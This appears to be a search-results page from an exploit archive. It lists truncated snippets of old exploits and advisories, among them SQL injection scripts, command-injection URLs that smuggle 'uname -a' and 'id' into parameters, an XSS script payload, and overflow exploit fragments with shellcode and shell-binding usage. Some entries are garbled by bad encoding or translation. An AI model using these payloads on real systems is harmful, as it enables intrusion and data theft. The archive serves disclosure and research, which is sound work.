1622 matches found
PHPWebThings <= 1.4 (forum) SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================= PHPWebThings / && print "+ MD5 hash of password is: $1\n"; print "- Unable to retrieve hash of password\n" if!$1; 0day.today 2018-04-08...
Talking about after the invasion of the hardware destruction method-vulnerability warning-the black bar safety net
| Internetthe field of security, one foot magic ridge, and then strong fortress also has his deadly colony, hackersarttoday, was born many kinds of means of attack, and in front of the defense method is endless, but whether it is anti-both, all overlooked an important aspect-that is, hardware...
CVE-2005-3080
contrib/example.php in GeSHi before 1.0.7.3 allows remote attackers to read arbitrary files via the language field without a source field set...
CVE-2002-2006
CVE-2002-2006 affects Apache Tomcat 4.0–4.1 and 3.0–3.3.1. The vulnerability is an information disclosure: the default Tomcat distribution exposes installation path and other sensitive info via the Sno o pServlet and TroubleShooter example servlets. The issue is explicitly described as informatio...
kaiseki.txt
PNGƒJƒEƒ“ƒ^+—pƒƒO‰ð̓XƒNƒŠƒvƒg remote commands execution vulnerability Vendor URL : http://www.aurora.dti.ne.jp/zom/Counter/ Vulnerability : Remote Command Execution Risk : High ================================================================== An attacker may exploit this vulnerability to...
XOOPS 2.0.11 - xmlrpc.php SQL Injection
XOOPS 2.0.11 - xmlrpc.php SQL Injection !/usr/bin/perl Xoops 0 print qq\b\b DONE --------------------------------------------------------------- USER NAME : $name USER HASH : $allchar --------------------------------------------------------------- ; else print "\b\b FAILED "; exit; else...
ASPNuke 0.80 - forgot_password.asp?email Cross-Site Scripting
ASPNuke 0.80 - forgotpassword.asp?email Cross-Site Scripting source: https://www.securityfocus.com/bid/14062/info ASPNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may...
AIX 5.2 - 'netpmon' Local Privilege Escalation
/ IBM AIX netpmon elevated privileges exploit I just wanted to play with PowerPC Tested on 5.2 intropy intropy caughq.org / include include include include define DEBUG 1 define BUFFERSIZE 2048 define EGGSIZE 2048 define NOP 0x60 define ADDRESS 0x2ff22fff-BUFFERSIZE/2 char shellcodebinsh =...
Sql Injection in CJ Ultra Plus v1.0.3-1.0.4
ADVISORY Sql Injection in CJ Ultra Plus v1.0.3-1.0.4? "My God, it's full of stars" - c MwNN Vulnerable code is in out.php ---code begin-- ... if isset$perm $query = "select a1, a2 from trade where a1 = '$perm'"; -muhahaha $result = mysqlquery$query; if!$result errormessagesqlerror; ... ---code...
E-Cart <= 1.1 (index.cgi) Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl Example added if code doesn't work for ya: http://SITE/DIRTOECART/index.cgi?action=viewart&cat=reproductoresdvd&art=reproductordvp-ns315.dat|uname%20-a| /str0ke info: [email protected] use IO::Socket; print "\n\n www.badroot.org \n\n"; print...
GoodTech Telnet Server < 5.0.7 - Remote Buffer Overflow (2)
/ cybertronicatgmxdotnet offset fixed! cybertronic @ GoodTech $ gcc -o goodtechexpl goodtechexpl.c cybertronic @ GoodTech $ ./goodtechexpl Usage ----- Bindshell ./goodtechexpl Reverseshell ./goodtechexpl cybertronic @ GoodTech $ ./goodtechexpl 192.168.2.103 / / / / / / / / / / / / / / / / / / /...
OneWorldStore - DisplayResults.asp SQL Injection
OneWorldStore - DisplayResults.asp SQL Injection source: https://www.securityfocus.com/bid/13249/info OneWorldStore is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. Successful...
sash <= 3.7 Local Buffer Overflow Exploit
No description provided by source. / sash-3.7 buffer overflow in c argyment written by lammat for practice purposes http://grpower.ath.cx [email protected] gdb r -c perl -e 'print "A"x10256' The program being debugged has been started already. Start it from the beginning? y or n y Starting program...
MS Internet Explorer ""mshtml.dll"" CSS Parsing Buffer Overflow
No description provided by source. / Taken from http://www.securiteam.com/exploits/5NP042KF5A.html The exploit will create a .CSS file that should be included in an HTML file. When a user loads the HTML file, Internet Explorer will try to parse the CSS and will trigger the buffer overflow. /...
The Includer CGI <= 1.0 Remote Command Execution
Exploit for cgi platform in category web applications ================================================ The Includer CGI = 1.0 Remote Command Execution ================================================ Remote Command Execution on: Example I.: www.host-vulnerable.com/includer.cgi?|id| Example II.:...
formmail23.txt
-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: Form Mail Script FS Version: Location: Poland Email: groszynskif gmail com HP: http://shell.homeunix.org -- == -- == -- == -- == -- == -- == -- == -- == -- == --...
mixedSQL.txt
Postnuke all versions + pnphpbb =1.2 sql injection - jocanor Author: Jocanor Date: 01-03-2k5 1. -----------introduction--------. Postnuke is an open source CMS content management system, originally based in php-nuke. www.postnuke.com pnphpbb is a module for postnuke based in popular forum system...
osCommerceXSS.txt
Hello All, I have discovered XSS vulnerability in: osCommerce 2.2-MS2 Authors Site: http://www.oscommerce.com/ +-Example:--------------------------------------------------+ XSS: http://www.victimsite.com/contactus.php?&name=1&email=1&enquiry=%3C/textare a%3E%3Cscript%3Ealert'w00t';%3C/script%3E...
Plugins can be used to load privileged content — Mozilla
Plugins such as flash can be used to load privileged content into a frame. Once loaded various spoofs can be applied to get the user to interact with the privileged content. Michael Krax's "Fireflashing" example demonstrates that an attacker can open about:config in a frame, hide it with an opaci...
Typespeed 0.4.1 - Local Format String
// source: https://www.securityfocus.com/bid/12569/info typespeed is prone to a local format string vulnerability. Successful could allow privilege escalation. / Proof of Concept local exploit for typespeed tool "enva" content: include include int mainint argc, char argv char addrptr = NULL;...